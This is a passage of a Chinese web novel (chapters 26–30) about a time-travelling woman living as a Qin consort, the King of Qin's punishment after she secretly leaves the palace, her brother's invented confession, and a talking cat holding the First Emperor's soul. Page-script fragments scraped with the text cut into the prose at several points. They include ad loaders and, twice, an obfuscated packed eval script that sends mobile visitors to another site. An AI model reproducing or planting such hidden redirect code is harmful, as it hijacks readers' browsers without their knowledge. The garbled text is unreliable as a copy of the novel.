“阿母,阿母!” 殿外传来扶苏声嘶力竭的呼喊,声音听起来凄惨极了,忽高忽低,似乎是有人不断地拉扯着他,不让他闯进来。 “阿母!你放开我,我要去找阿母——”扶苏哭闹嚷道,但声音慢慢变远,像是被强行抱走了。 他声音传进来时,秦王手指条件反射般微松了松,但几乎是立刻又捏紧了,仿佛她一刻不给出满意回答,他就会一直紧捏下去,直到她屈服。 是他一贯的作风。 忽然,姜暖周身汗毛一根根炸了起来。 阿傩呢?秋穗呢? 宫里其他人呢? 若说刚才她只感觉到害怕,那么此刻,她才真正意识到局面的严重性与恐怖程度。 刚刚她因为受到极度惊吓,大脑几度停摆,短暂地只考虑到自己还有弟弟,但被她强行卷进来的那两个人——阿傩和秋穗呢,她们怎么样了? 尤其是阿傩。 冷汗顺着后颈滑落衣襟,她睫毛颤抖着抬起来,不知从哪里蓦地升起一股勇气,哀求般地对他道: “王、王上,此番都是妾一人的过错,求您不要惩罚其他人,所有错妾一人承担,她们都是被妾逼迫的……” 她的声音娇柔无助,无论落在怎样的耳中都很能激发同情,然而秦王的面色却更加阴沉,他审视着她那双蓄满水波的澄澈美眸,忽地扯出一抹残忍笑意,冰冷又暴躁地抛出两个字: “晚了。” 话毕,霍地松开了铁钳般手指。 身体骤然失去部分支撑,她勉强扶住旁边门框,才不至于狼狈地再度跌倒。 晚了…… 全身的血液都涌到耳边叫嚣翻滚,愧疚感澎湃而来,瞬间压过了一切畏惧与怯意。 秦法何其严苛,她不敢想象她们会遭遇什么—— 而这,都是她的错。 她哆嗦着双唇,抬起微微肿起的面容,望向他,苦苦求道:“王上,求您别治她们的罪,她们 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 都是受我逼迫,不得不从,求您放过她们吧。” 她一边求一边双膝落地,手指紧紧抓住他长袍下摆,仰起的脸庞上,泪水潺潺。 她的性格,最不愿意的就是连累别人,尤其是对自己好的人。 更别提阿傩和秋穗了。 一个是那样的知恩图报,以至于多余进宫来谢她,一个忍住了所有寂寞,默默又细致地照顾了瘫在床上的她四年,而如今,却因为她的一时任性,她们全都要面临惨死局面—— 他俯下目光,漠然而愠怒地看着她紧抓他的袍子,就像抓着最后一根稻草,良久未发一言。 “报——” 门外传来熟悉的声音,接着一个瘦高男子大步踏入殿中。 姜暖从他膝盖旁虚弱地抬起目光,整个人都楞住。 竟是在客寓中袭击自己的那名男子,也是弟弟口中救了他并将继续保护他的侠客,亦是混在巡逻队中,暗中监视自己的侍卫。 她一直以为他是赵太后的人,未曾想竟是秦王的手下。 她倏然有种从一开始就被他攥在掌心里操控摆布的无力感。 所以这一切,都是他告的密?秦王也正是因此事,风尘仆仆又赶了回来? 她竟有这种排面吗?还是说,他厌恶背叛到了一定程度,就算耽误行程,也要把她抓个现行,狠狠地治罪? 来人只微微扫了眼她瘫坐在地上衣衫凌乱的模样,就拱手对秦王汇报道: “王上,赵璟已经带到,现就押在章台宫。” “知道了。” 弟弟的名字令她再度惶恐起来,她更加用力抓住他的衣袍,刚要为弟弟求情,话到嘴边紧急停住,而后慢慢咽了回去。 秦王眼里的怒火,被她方才潜意识下的动作,撩拨得陡然猛烈,他手指紧攥,骨节森森泛白。 “呵,怎么,还想为他求情啊?” 他居高临下睨着她,声音充满讥讽,和一种怒极反笑的冷冷笑意。 姜暖倏地松开他袍子,膝行往后退了两步,使劲摇头,脑袋勾了下来。 一则她求情没有用,反倒会徒增他怒意,二则,就像弟弟之前说的,他暂且不会杀他,尤其大秦马上就要‘联楚攻赵”,一旦赵国质子被杀,赵国肯定会有所防备,同时也会给其他四国助赵攻秦的理由。 搞不好还会再发生一次“五国合纵攻秦”,虽然秦国并不怕,却也不想因此造成人员、物资损失,进而影响诸多既定计划。 所以她及时收了口,虽然心里依旧七上八下怕得很,怕他改变主意真的处死弟弟,面上却不敢再有丝毫表露。 见她这副样子,秦王只觉得手心痒,很想对她惩罚些什么,但碍于时间有限,没办法亲自动手,他拧着剑眉思索一会儿后,厉声道: “今日起,芈蓉,你就给寡人跪在这里,闭门思过,不许吃,不许喝!若是让寡人知道你起来过,寡人即刻就把你押入咸阳狱,大刑伺候!” 说罢,狠戾地瞪她一眼,拂袖大步而去。 一队手持长矛的侍卫不知从哪里窜出来,分两队把守在门口,殿门在姜暖身后重重合上,紧密得一丝缝隙都不透。 夜色与月光被彻底隔绝,殿内一瞬间寂静得只回荡着姜暖的心跳声。 她瘫在地上一动不动,心脏被巨大的悲伤和恐惧轮番撕扯。 原本一切都好好的,让她这么一闹,所有人都被连累了。 秋穗,阿傩,还有弟弟…… 都怪她。 她实在忍不住,双手捂着脸呜呜哭了起来。 27.袜子 蒙毅迈着忐忑不安的脚步来到章台宫侧殿时,看见秦王正直挺挺站在蓝田玉大屏前,负手侧身而立,眼睛望着前方烛架,一动也不动。 他迟疑了一下,还是走上前,拱手道:“王上,赵璟他……都招了。 秦王身形未动,跳动的火舌在他侧脸投下重重暗影。 蒙毅喉结往下滑了滑,不免有些紧张。 小半个时辰前,王上带着慑人的表情令他即刻审问赵璟,问清楚他与国夫人到底是何关系,国夫人为何不带任何仆从,私自出宫与他相见,她是否给过他秦国的情报,以及—— 他们之间是否有私情。 无论如何都要撬开他的嘴,实在不行就上大刑,这是王上冷冰冰掷出的原话。 这可把蒙毅难坏了。一则他不精通审问,二则审问对象还是赵国的质子,用刑也得斟酌着来,真把人家整残了也不行。 而且,此事竟然还涉及到国夫人—— 国夫人怎么可能与赵人通气呢?还有私通,简直令他难以相信自己的耳朵。 可王上就是这么命令的,他也只好硬着头皮,来到章台宫后侧一处密室,凶神恶煞地在赵璟面前站定。 他刚吼了几句,气势还没有造完,赵璟就光速表示出妥协,垂着脑袋从怀中掏出了——一双袜子。 女人的袜子,穿过未洗、还沾着些泥污,布料细腻,顶端绣有粉色花瓣纹案。 “都是我的错。” 他喃喃道,发冠已在追捕中松开,头发凌乱地半垂半挂着,两根手指在袜子上轻轻摩挲,眼神带着种病态的痴迷。 蒙毅被他的操作弄出一身鸡皮疙瘩,正欲怒喝两声,他就抬起头,以无比真诚的语气对他道: “男子汉一人做事一人当,此事与芈夫人无关,是我一直暗暗迷恋她,最后竟然到了无法自拔的地步。” 蒙毅大为震惊,一时竟无言以对。 “有次下雨路滑,她在假山附近跌倒了,鞋子陷进污泥里,便褪下鞋袜,在池塘边濯洗双足,走的时候忘记将袜子带走,我便偷偷过去拾了起来,将它藏在身边,时刻带着,就好像是她一直陪伴在我身边——” 蒙毅觉得自己这辈子受到的震撼,都没有这一晚上多,他难以置信地瞪着赵璟那双坦然又有点病态的眸子,一时竟说不出话了。 这、这人是变态吗? “那日之后,我竟觉得每日进宫干活是件很美好的事。我时常趁休息的时候躲在树后面窥视她。她是那样的美丽,举手投足都令我痴迷,后来我忍无可忍,便找到机会堵到她,威胁她必须与我私会一次,否则就将这双袜子呈给秦王。她吓坏了,哭着答应了,真是个容易吓唬的傻女人,然后的事你们应该都知道了。哎,我是真没想到,我的救命恩人,竟然是你们的人,兄长派来刺杀我的刺客,是不是早就被你们逮捕了?你们其实很怕我死掉,是不是?” “别转移话题!”蒙毅厉声道,觉得眼前这个人模狗样的公子着实可恶,竟然做出这等威胁良家女子的龌龊之事,“你与夫人在房间单独相处甚久,都做了什么,如实交代!” “什么也没做啊,就是单纯的聊天。我在咸阳过得潦倒,她在宫里也不开心,能互相抱怨的事多得去了,就是一天一夜,怕是也说不完。”赵璟不以为然般回答道,语气依旧是坦率的。 “你当我是三岁的孩子吗?”蒙毅模仿起兄长操练时的样子,高声吼道。 “我是真心喜欢上她了,怎会强迫她做她不愿意做的事呢?”赵璟一脸无辜,“哎,想我年纪轻轻就被送来秦国为质,兄长孩子都生一窝了,我却连个爱姬都没有,心里实在委屈。不过在见到芈夫人那一刻,这些都不重要了,我甚至觉得只要每天能看上她一眼,一辈子不成家也无妨。哎,真是羡慕秦王啊,这样的绝色佳人夜夜都能拥在怀中,可我却——” 他又开始病态地抚摸那两只袜子,蒙毅简直忍无可忍,命人将袜子从他手中一把夺了出来。 他立刻疯了似的想要站起来拼命,很快被两名卫士死死按住,然跪在地上还不肯罢休,不断地挣扎叫嚣,让他们把那东西还给他,还说那是他现在活下去的唯一支柱。 都说赵国与胡人毗邻,民风奔放,蒙毅如今算是开了眼界了。 “国夫人可曾将秦国的情报传递与你?”他忍着嘴角的抽搐,继续喝问道。 脊背上挨了两脚后,赵璟明显老实多了,他重重咳嗽了两声,哑着嗓子道: “没有。” 讯问到此算是结束了,蒙毅一刻也不敢耽搁,立刻赶去汇报。 毕竟王上是悄悄转道回来的,只带了两队人马,身边也只有自己与李信陪侍。太后、相邦还有一众大臣,对此俱不知情。若是事情不大,他们最好速战速决,在天亮之前赶紧返回去。 他将赵璟的回答一五十一汇报给秦王,而后还尴尬地让人奉上了那双属于芈夫人的袜子。 宫里只有她袜子上绣有花纹,那是楚地盛产的一种花,小时候她家院子里常开,只可惜咸阳气候干燥,无法供养这种花朵,秦王为了让她开心,便命人在她的寝衣上都绣上这种花纹。 这是兄长有次喝多了跟他说的,言语中满是唏嘘与感慨,而那时国夫人已经因难产昏迷两年多了。 如此一来,证据便十分确凿了。只是赵璟的说辞太过荒唐,以至于直到现在,他都在想自己是不是被他给忽悠了。 他小心翼翼抬眼观察着秦王,只见他周身好似劈里啪啦迸溅着黑色的火苗,眼珠一错不错地盯着呈送到眼前的袜子,薄唇绷得笔直,额角青筋隆起,突突直跳。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >蒙毅顿时紧张起来,因为秦王只有在怒极了的时候,才会是这幅样子。 芷阳宫中,姜暖已经跪了整整一个时辰,膝盖早已从酸麻到很痛,再到现在的毫无知觉。 秦王不让她起来,她自然不敢起来。她这个人其实怂得很,不像弟弟,胆大心细,越是危急时刻越是头脑灵活,与她倒是挺互补。 所以,他会如何为自己辩解呢? 而且听完他的辩解,秦王多半是要来与她对峙的,到时她要如何说,才不至于穿帮露馅呢? 她难受地蹙眉思考着,忽然一个身形不稳,往旁边栽倒,扑通一声。 她干脆就势躺在地上装死,反正比跪着舒服多了,慢慢闭上眼睛,感受着脑中的昏昏沉沉。 如果是弟弟的话,很大概率会把责任往他自己身上揽,不仅是因为他以前就总这样,更是因为他目下的处境比她安稳些。 出于各种考量,秦王暂时不会杀他,但这种考量也是有限度的,若王上真的怒了,根本不会惧这些,就像此刻的大秦,什么都不惧,暂时按兵不动,仅是不想白白损耗羽毛罢了。 所以弟弟肯定不会主动触怒秦王,同时尽量保全她。如此想来,交换情报、通敌或者是私通,都得pass,因为无论哪一条,都能让秦王暴跳如雷,他方才没真把她捏碎,就是因为他尚不知情,一切还有审问的余地。 既然这样的话,秋穗和阿傩,是不是还有一线生机? 她忽然有点雀跃起来,正要睁开眼睛,朝向空气的那侧脸颊上,被什么软乎乎的东西重重拍了一下。 嗯? 她迷糊着睁开眼睛,对上了一双黄色的猫眼。 是那只黑猫。 宫里所有人都被轰走了,唯独剩下了这只眼神骄傲的黑喵,尾巴翘的老高,居高临下地睨着她。 哎,连只猫都敢凶她,自己还真是没地位,罢了,反正有它陪着,心里能稍稍安稳点。 她正这样想着,然而下一秒,却忽然浑身一怔。 “你——真的出宫和那赵国人私会去了吗?”既熟悉又陌生的嗓音,从猫嘴里发了出来。 姜暖唰地从地上坐起来,难以置信地瞪着黑猫,被它眼中那种人类才有的复杂神色唬得又是一哆嗦。 猫、猫、猫居然开口说话了—— 她没幻听吧?她连忙用手指使劲掏了掏两只耳朵,黑猫不耐烦,蹦上她膝头,柔韧的小肉垫使劲又给了她一掌。 “朕……我问你话呢,赶紧回答。”胡须颤颤,吐出的语气莫名熟悉。 姜暖鸭子似的向后瘫坐在原地,瞠目结舌,望着那只人类表情的黑猫,在它愤怒地亮出五根坚硬指甲时,连忙使劲摇头。 “没、没去私会,他是我弟弟,又不是情郎,哪来的私会一说——” 28.随行 姜暖用了几分钟时间,将自己的经历简要描述了一遍,包括她来自于两千多年后,那个名叫赵璟的赵国公子,身体里寄居的是她弟弟的灵魂,他和她几乎前后脚穿越过来。 而她此番莽撞出宫,正是因为得知他遇刺,着急得实在坐不住。 她也不知道自己为何一股脑就把实情倒了出来,许是被猫会说话这件事吓懵了,也或许是心情极度紧张下的一种下意识冲动。 不过她没有说系统这件事。 ”哼。”黑猫傲慢地瞄她一眼,锋利指甲缩回肉垫,“是该说你愚蠢呢,还是没有城府呢?若我是坏人,你的把柄可全都落在我手里了。” 说罢,小爪子还握了握。 就还……挺可爱。 可爱黑喵的外表确实具有蒙敝性,若它是人类形态,哪怕再英俊漂亮无害,她都得拣着说,或者干脆不说。 “可你现在是只猫啊,你能怎么害我呢?”姜暖歪着脑袋,很认真地说道,手指探出去,尝试着像扶苏那样摸一摸它柔软厚密的皮毛。 然未果,黑猫眼里迸射出威胁光芒,于是她手伸出一半又缩了回去。 “话说你到底是何方神圣呢?该不会是猫妖吧?”她抱着膝盖,侧头看它嘀咕道。 黑猫似乎觉得受到了冒犯,但并没有再以利爪威慑她,而是像狼一样原地转了几圈,像是在思考什么。 “我是谁暂且不重要。”它停下,眼睛黄澄澄地盯住她。 姜暖总觉得这种注视莫名眼熟,却又想不起在哪儿见过。也许是以前看过的某部电影,或者动画片? “不过我暂时还不希望你死掉,所以你听好了。”它朝她迈近两步,本就有些暗哑的声音压得更低,“刚才我去了章台宫,目睹了蒙毅讯问赵璟——也就是你弟弟的场景。只能说,如果你们都没有撒谎的话,他很会演,表演得好像真有那么回事似的。” “诶?”姜暖一愣。 弟弟从小就是个直率性格,可以说他乐天、有责任心、情绪稳定,但若说会演,路上的哈士奇演技都比他强。 但黑猫接下来的叙述,将她思绪转移开来,她听得目瞪口呆,尤其是当它厌恶又嫌弃地描述他如何抚摸她袜子的时候,她受到的震撼丝毫不比蒙毅轻。 果然换了个没人认识的地方,就开始彻底放飞自我了吗——她呆滞又惊讶地凝固半晌,直到它不耐地甩了她一尾巴,才回过神来。 弟弟确实挺聪明的,如此一番说辞,的确在最大范围内,减轻了问题的严重性。 秦王会愤怒是肯定的,但顶多也只是觉得他荒谬、有病、变态,甚至是不成器,不至于杀掉他,或者进行其他什么严厉的处罚。 而她,偷偷出宫与外男私会,虽然罪大恶极,却因为是受害者,再加上并没有发生什么实质关系,也没有通敌传递情报等行为,如何惩处全看秦王心情。 问题是,他有时挺喜怒无常的,万一真想往狠了惩罚她,也不过是一念之间的事。 “他回来时没有惊动任何人,这就表明,他不会对你太过惩戒。”像是看出了她的心思,黑猫慢条斯理补充了一句,眼神有几分绿幽幽的。 好像确实是这样……姜暖心里稍稍松了口气,但仍怕得要死。 忽然,殿外传来急促的脚步声,有好几个人快步而来,门外侍卫纷纷行礼。 姜暖一惊,连忙挺直上身跪坐好,黑猫也灵巧地飞身一跃,躲进了不知哪里的黑暗中,鬼魅一般。 推门而入的,是蒙毅。他一脸尬色,朝她行了一礼。 姜暖也面色窘迫地点了下脑袋,仍跪得笔直。 “夫人,起来跟我走吧。”他轻声却清晰地说道。 姜暖诧异抬眸:“去、去哪儿?” 这语气听上去,怎么这么像要拉她去刑场呢…… 她可怜兮兮地哆嗦了一下,蒙毅连忙磕巴着解释: “王上马上便要离宫,他命令您也要跟着去,省、省得您在宫里……不安分。” 跟在蒙毅身后朝西南门走的时候,姜暖脑子里还是懵懵的,直到出了宫门,来到一辆特别宽大豪华的马车前,她才从浑噩中猛然回神,瑟缩着往后躲了躲。 隔着好几层木板,她也能感受到秦王那股仍未褪去阴郁的愤怒气息,于是越发往蒙毅身后躲去,死活不肯上车。 就好像一上车,就会被獠牙咬住脖颈,血溅三尺。 蒙毅开始为难了,轻轻道了好几句“夫人请上车”,然而姜暖始终扭捏躲闪,就是不肯抬脚上车。 “蒙毅,她若不想上来,就用绳子将她拴在车后,让她跟在后面自己走。” 车厢里传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13344803|136105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来秦王冷彻的嗓音。 姜暖脑补了下那个场景,吓得不清,立刻提起裙摆,都没用蒙毅搀扶,麻溜地打开车门钻了进去。 车厢里,秦王大刀金马地端坐着,脊背挺拔,目光不善。 姜暖如小鸡仔似的,哆哆嗦嗦在他对面坐下。 幸好这车厢有面包车那么大,两人之间的距离不算太近。可即便如此,她也还是气都不敢往出喘,后背紧紧贴上厢板,眼皮沉重地耷拉着,视野里只有脚下的猩红地毯,和他露出袍服外的黑色靴子。 马车忽然启动,她没有心理准备,颠簸得摇晃了一下,连忙抓住旁边窗板,脸上泛起惊魂未定的酡红色。 “脱掉。” 他忽然开口命令道,语气不由分说。 “?”姜暖抬起水眸,被他锋利的视线吓得又把头埋了下去。 不过刚刚匆匆一瞥中,她看到他朝她脚下冷冷睇了一眼,所以说应该是让她脱掉鞋子的意思。 姜暖不敢等他命令第二遍,连忙弯身乖乖脱下鞋履,脱到一半才想起袜子还是弟弟的,动作骤然一僵。 明显感到压在脊背上的视线倏地沉重了起来,她一咬牙,继续往下脱,而后将鞋子整齐摆在脚边,抬起眼睛怯怯地又看他一眼。 他眼神比方才更加森冷不悦,盯着她脚上男人的袜子,眉心蹙起几道深深的褶痕,一只手掌五指慢慢收拢、捏紧。 “是、是他逼妾穿上的——”她急忙解释道,将弟弟的变态人设再一次坐实。 “脱掉。”狠戾的语气。 “喏。”她蚊子般嗡嗡道,想都没想就把两只袜子也脱了下来。 两只白生生的脚丫在昏暗中分外刺眼,一个劲地往裙底缩去,却无论如何都能露出一小截,贝壳般指甲在风灯映照下,泛着莹润珠光。 “都扔了。”他厌恶地继续命令道,身形一动未动,目光凶狠得能杀人。 姜暖不敢耽搁,即刻拎起鞋袜,拉开窗格就抛了出去。 朔风灌入车厢,带来阵阵干冷,姜暖应激般蜷起脚趾,余光似乎捕捉到了一道灵敏的黑色,在旁边树丛中窸窣而行。 要是她也能像猫一样,从窗户口跳出去,一溜烟逃走就好了。 她难受地想,慢慢关上窗户,重新回到盈满他气息与气场的封闭空间里。 29.营帐 马车行进得很稳,几乎感觉不到明显颠簸,姜暖低眉敛目,眼睛盯着自己的手指头发呆。 她从来没有像此刻这样,迫切想要拥有一项超能力。隐身,遁地,哪怕是灵魂出窍也行,都好过和这样一个散发着超强黑色低气压的人共处狭窄一室。 呜呜呜,好难受。 她在心里无声哭泣,目光已经快把手指头和附近衣料盯出洞了。 “你——发什么呆呢?”对面飘来他豺狼般低沉的声音,冷傲中透着淡淡的威胁,还有不满。 就好像她若是回答不好,便会被他用利牙咬破喉咙,狠狠地撕扯。 “想、想扶苏了……”她垂着睫毛低低回道。 不是在撒谎,扶苏确实刚刚闪过她脑海。他在殿外哭喊着的嗓音,令她心头一阵揪痛。 “王上,”她忽然抬起眼睛,“能、能让人将一样东西快马送回宫里给扶苏吗?他刚刚哭闹得厉害,妾怕他睡不好觉,明日更没精神上课——” 说罢,都没来得及观察秦王的表情,就从袖口里扯出一块缭绕着馨香的手帕:“若是有笔墨就更好了。” 秦王神色复杂盯她看了一会儿,拉开窗格,对着外面人吩咐了一句,很快,就有笔墨从窗户递进来。 姜暖急忙倾身接过,很狗腿子地道了句“谢大王”,便将手帕在膝盖上平铺开,笔尖沾上墨汁,小心又卖力地画了一颗硕大的五角星。 以往睡觉前,她都会在扶苏额头上画这样一颗星星,画完后他便会满足地闭上眼睛,很快进入梦乡。 她画的时候,唇角不自觉漾开笑纹,两只小梨涡甜甜的,像浮在涟漪中般若隐若现。 秦王默默凝视着她,眼中闪过更加复杂的情绪。 墨迹干了后,手帕被窗外人接过,不一会儿,就有嘚嘚嘚的马蹄声疾速向着与行进相反的方向驰去。 解决了一桩心事,姜暖心里稍稍宽松了些,眉宇间也松弛了一丢丢,然而某人好像见不得她心安理得的样子,嗓音比方才还要低沉威胁: “别以为寡人会轻易相信你们那蹩脚的辩解。芈蓉,你若是胆敢再背叛寡人,寡人一定会按照秦法,对你严加惩处。” 姜暖脑中渐次闪过腰斩、车裂、烹煮,赶紧摇头表态:“妾不敢,不敢。”然后将身体坐得乖巧笔直,两只脚丫因为太冷,脚趾蜷缩起来,互相挤着、踩着,试图聚拢一些温度。 然而这样的画面,落在对面人眼中,蓦地就带了点不安分的意味。 他长眸微垂,向下扫了眼,被那两坨白嫩的颜色刺激得喉结微微滑动。 他不悦地蹙起眉心,从身后拽过一块黑色兽毛披肩,劈头扔给她。 姜暖正覆着睫毛继续在手指附近盯洞,忽地就被一件暖烘烘的东西当面砸来,顿时慌了手脚,费了好大劲才把衣服从脑袋上扒拉下来。 她怯怯又不解地瞅向秦王,对方却并不言语,甚至都没看她,从旁边车内配备的木箱里择出一份书简,摊开读了起来。 姜暖捧着衣服,陷入一阵茫然,须臾之后,才意识到王上可能是想让她用这个盖住脚丫。 可这是人家披在肩上的呀,自己用来盖脚不太好吧? 盖还是不盖呢?万一人家不是这个意思,可就尴尬了—— 而且,这算不算是僭越?会不会被按秦法砍掉几根脚趾头之类的…… 她漫无边际地胡思乱想起来,这时秦王抬眸淡淡扫来一眼,目光看似毫无波澜,实则充斥着一种威胁,姜暖秒怂,立刻将双腿弯曲到座位上,将披肩盖住小腿和两只脚丫。 厢内再度陷入沉默,只有车轮辚辚碾过土石路面的声音,和马蹄此起彼伏的踩踏声在耳畔缭绕回荡。 安静在车厢里不断膨胀,挤压着姜暖脆弱的小心脏,她局促不安地用手指抠着衣服上的线头,恨不得能立刻变成一截木头。 “王上……”就在她感到这团寂静将要爆炸,将她崩得四分五裂之际,她鼓起勇气糯糯地开口道,“秋、秋穗她还好吗?您不要处罚她好不好?” 秦王理都没理她,目光依旧埋在书简里。 姜暖抿抿唇,不屈不挠又道:“她会做枣糕和桂花糕,扶苏特别爱吃,哦,对了,妾不在,扶苏就很粘她,只有她哄才肯睡着呢……” “寡人暂时没有处罚她。”秦王卷起竹简,趁挑拣的空挡,斜扫了她一眼道。 那个“暂时”透着股不详,但不妨碍姜暖心里雀跃,连忙又问:“那阿傩呢?您也不要处罚她,她是被妾强迫的——” “你的话太多了,芈蓉。”他眼神复又阴鸷起来,唬得姜暖连忙闭口,不敢再吱声了。 也不知走了多久,兴许是一个时辰,也可能是两个时辰,她已经失去了对时间的判断,又不敢冒然拉开窗户向外看,只能像鸵鸟一样勾着脑袋随车颠簸,尽量将存在感降到最低。 后来她困劲儿上来了,脑袋往车板上一靠,竟没心没肺地睡着了。等醒来时,车已经停住,而对面,已经没有了秦王的身影。 她大惊失色,连忙从座位上扑腾下来,正欲打开车门,车门先一步从外面拉开了。 蒙毅送进来一双鞋履和袜子,面色紧绷地冲她点了点下巴,迫不及待似的退了出去。 姜暖想起蒙毅全程参与了对弟弟的审问,也脸红起来,嘟嘟囔囔将鞋袜穿好,深吸一口气,撩开门帘下了马车。 前面是一处开阔的地面,大大小小的篝火熊熊,环绕着二三十个临时搭建的行军营帐。 姜暖知道,他们这是赶上了大部队。若秦王没有折返回宫,此刻早就已经在这其中最大的营帐里歇息熟睡了。 “夫人,跟我来吧。”蒙毅与她隔开半臂的距离,在旁边引路道。 姜暖惴惴不安地跟着,鞋子不是她的,却意外地合脚,袜子也不是她的,但看材质也是宫里的,她努力不去想是谁的,只管埋头走路。 蒙毅将她带到最大的那座营帐前,撩开帘子,闪身让她进去。 姜暖心跳骤然加快,用脚趾头都想这里面正坐着谁。 果然,一入门就看见秦王端在正后方的大榻上,正由一位姜暖从未见过的内侍伺候更衣。 姜暖僵在门口,扭头左右打量,帐内空间极大,床却只有那一个,莫非今晚—— 她陡然慌乱起来,这时,门外进来一串内侍打扮的人,每人都抱着厚厚的被子或褥子。 “夫人,您喜欢睡哪里?”为首之人弓着腰谄媚笑问道。 “诶?”姜愣怔住,好一会儿才明白过来,人家根本就没打算让你上他的床—— 她顿时皱起小脸,目中神色委屈又尴尬,朝有火盆的右侧指了指,内侍们立刻训练有素地过去,很快就打好一床看上去十分暖和舒适的地铺。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13357105|136105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 再暖和舒适,那也是地铺,在地位上比不上只有板子的硬床,且具有一定的轻慢意味…… 姜暖呆呆杵了好一会儿,才鼓起嘴巴,认命地走过去,一屁股坐了下来。 想开点,没让你跟马睡一起已经很开恩了,而且,你难道愿意在这种情况下,跟他挤在一张床上吗?不怕他曹操上身,做梦时把你掐死吗? 她阿Q般地安慰自己道,尽量不去朝秦王的方向瞅,耷拉着眼皮,兀自开始脱鞋袜。 因为一直踩在外面,脚底有些脏了,她偷偷瞟了眼为秦王更衣洗漱的小内侍,心想会有人来伺候自己吗? 正想着,一个侍女垂着头端着一盆水走了进来,径直走向她。 姜暖微微一愣,不仅因为她步伐不稳,有些摇晃,不知是由于紧张还是什么的,更是因为她脸上蒙着一层厚厚绸布,从左耳横跨鼻梁到右耳,显出几分诡异与荒谬。 在王宫里伺候的,哪有这副装扮的? 她歪起头想要更仔细去看,然侍女却将面容垂得更低,仿佛刻意不想让她看见一般,走到她跟前跪下,手触上她脚腕,将她的两只脚依次轻轻放进温热水中,仔细搓洗。 不知是否错觉,她的手似乎在轻抖,姜暖实在忍不住好奇,问道: “你的脸怎么了?” 侍女并不言语,甚至头都没有抬一下,手上动作依旧细致而微抖。 “夫人,这是个哑巴,出行前还不小心把脸磕破了,血肉模糊的,怕您见到心烦,便让她将面部遮了起来。” 服侍秦王的内侍端着水挎着长巾走来,笑意满面地解释道。 只是那笑容,着实有些令人不舒服。 这工夫,她已将她脚洗好,端起水盆,垂着眉眼转身出去了,背影隐隐有些熟悉。 许是在宫里见到过吧,姜暖想,并未太放在心上,因为秦王这会儿正目光幽幽地望着她,等她鼓足勇气扭头看去时,又冷漠地移开了。 怪不得人人都说,找老公最重要的就是情绪稳定,如此看来,果然是真理。 她转回脖子,嘀咕了一声,卸下发冠玉簪,和着衣服钻进了被窝。 “寡人还未睡,谁允许你先睡的?” 不听不听,王八念经。 姜暖将被子拉过头顶,只留两撮头发在外面,假装听不见。 可这种置气是毫无意义的,人家随时可能把你扔出去喂狼,她只任性了两秒钟,就讪讪地从被窝又钻了出来,乌黑长发如瀑披垂在身后,将她衬得越发冰肌玉骨,雪肤桃腮,无端地撩人心弦。 只是她心里正在敲鼓。不知道秦王到底在盘算着什么,莫非接下来才是真正的报复环节? 她不得不抬起眼皮,朝他望去,却见他一袭白色里衣,长身如松,正掀开被子,慢条斯理躺了进去。 姜暖气得想吐血,她强忍着,直到秦王躺下足足十几分钟后,才轻手轻脚再次钻进被窝。 不多时,有人进来将灯烛吹灭,然后将帐篷的门帘又放下一层。姜暖很快便觉得热了,只好起身,在火盆零星微弱的光亮下,慢慢脱下外袍和里衣,只穿一件绣着莲藕的小衣和长裤躺了回去。 也不知道宫里其他人都怎么样了,弟弟又怎么样了,还有阿傩,她最担心的其实是她。 想着想着,疲倦渐渐占了上风,她终究还是沉沉地睡了过去。 30.头发 也不知过了多久,姜暖被尿意憋醒了。 她揉揉眼睛,撩开被子坐起来。帐内只有几只火盆发出燃烧的火光,算不上亮,却足以照清周围。 她小心翼翼从地上扑腾起来,迅速朝秦王的方向瞥了一眼。 大魔王优雅地仰躺着,似乎睡得很沉,被子一角垂落榻边,露出大半个上身。 都多大岁数了,睡觉还不老实……姜暖报复性地在心里吐槽道,很是解气,抓起外袍,直接披在小衣上,用簪子简单绾起长发,蹑手蹑脚出了营帐。 外面是一团浓黑,看来离凌晨还有一段时间。守卫的士兵丝毫没有倦意,手持长戈站得笔直,在她掀开帘子出来时,垂首无声行了一礼。 姜暖手捏着衣襟,有种狐假虎威之感,脚步匆匆朝着树林走去。 来时她问过蒙毅,说是夜晚解手的话,可以去树林里。目下整片树林边缘都是驻扎的士兵,铜墙铁壁般安全。 她沿着一个方向,走了一段距离,见安静无人,便就地解决了。 整理好衣裙,忽然闻得潺潺水声从不远处传来,她有些好奇地朝前面又走了走,果然看见一条小河,河面开阔,水气氤氲,在溶溶月光下很有意境。 真好啊,城市里很少有这样的景色,就算有,她也不敢深更半夜坐那儿观摩,这样一想,心里涌上一股冲动,脚踩着落叶和枯枝,慢慢踱了过去。 始皇喵对着漆黑的河水,默默凝视了许久。 水面里,倒映着一只圆滚滚的猫头,和一双毫无必要的大眼睛。它良久地盯着自己此刻的形态,胸中郁闷浓重,却又无可奈何。 想我堂堂始皇帝,功过三皇、德高五帝,竟在帝国最关键的时候猝死在东巡路上,好不容易起死回生,灵魂却根本没能附着到21岁的秦王政身上,而是钻进了一只猫的身体里,这对他而言,简直是奇耻大辱。 